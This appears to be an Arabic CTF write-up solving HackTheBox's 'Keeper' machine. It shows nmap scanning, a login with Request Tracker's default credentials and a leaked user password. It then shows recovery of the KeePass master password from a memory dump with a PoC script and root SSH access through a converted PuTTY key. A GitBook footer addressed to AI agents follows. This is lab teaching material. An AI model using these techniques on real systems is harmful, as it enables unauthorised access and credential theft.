> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md). # تقرير HackTheBox عن Keeper {% embed url="" %} {% hint style="warning" %} **المهارات:** * إساءة استخدام أداة تتبّع الطلبات * تسرب المعلومات * الحصول على كلمة مرور KeePass عبر تفريغ الذاكرة (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN**/ التحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز الهدف.

**البحث عن المنافذ المفتوحة باستخدام Nmap: 22.80** ```bash nmap -p- --open -n -Pn -vvv --min-rate 5000 10.10.11.227 -oG allPorts ```

**فحص إصدار المنفذ باستخدام Nmap:** استخدام Nmap لفحص إصدار المنفذ واستخراج المعلومات إلى الملف "targeted": ```bash nmap -sCV -p22,80 10.10.11.227 -oN targeted ```

### المنفذ 80 نكتشف النطاق **keeper.htb** ونطاقًا فرعيًا **tickets.keeper.htb**.

نضيفهما إلى `/etc/hosts` الملف:

## نظام Request Tracker CMS عند زيارة **tickets.keeper.htb** نجد لوحة تحكم للمسؤول.

نختبر بيانات الاعتماد الافتراضية الخاصة بـ **Request Tracker**: ```plaintext اسم المستخدم: root كلمة المرور: password ```

تم الاتصال بنجاح!

في **المسؤول → المستخدمون** في القسم نجد حساب مستخدم: * المستخدم: * كلمة المرور: Welcome2023!

#### اتصال SSH نستخدم بيانات الاعتماد التي وجدناها للاتصال عبر SSH: ```bash ssh Inorgaard@keeper.htb ```

### الراية user.txt :)

## تصعيد الامتيازات ### **تفريغ قاعدة بيانات KeePass** نجد ملف ZIP `RT30000.zip` والذي نقوم بتنزيله إلى جهازنا: ```bash python3 -m http.server 8080 ``` ```bash wget http://10.10.11.227:8080/RT30000.zip ```

بعد الاستخراج، نحصل على: * **KeePassDumpFull.dmp** * **passcodes.kdbx**

نحاول فتح `passcodes.kdbx` باستخدام KeePassXC: ```bash keepassxc passcodes.kdbx ``` يطلب كلمة مرور. نحاول التخمين بالقوة الغاشمة باستخدام **John The Ripper**، ولكن دون نجاح.

### **KeePass - تحليل تفريغ الذاكرة** {% embed url="" %} نستغل `.dmp` ملف باستخدام سكربت بايثون: ```bash python3 poc.py KeePassDumpFull.dmp ``` يكشف هذا عن أحرف غير قابلة للقراءة. يقودنا البحث عبر الإنترنت إلى كلمة مرور محتملة:

**النتيجة**": عصيدة حمراء مع القشدة

نستخدم هذه الكلمة المرور لفتح KeePass، مما يمنحنا **مفتاح PuTTY مشفّر وكلمة مرور root**.

### تحويل مفتاح PuTTY إلى صيغة OpenSSH نحتاج إلى تحويل مفتاح PuTTY إلى صيغة OpenSSH: ```bash puttygen key.ppk -O private-openssh -o id_rsa ``` بعد ذلك، تأكد من أن مفتاحك الخاص يملك الأذونات الصحيحة: ```bash chmod 600 id_rsa ``` #### **الاتصال بخادم SSH** ```bash ssh -i id_rsa root@10.10.11.227 ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.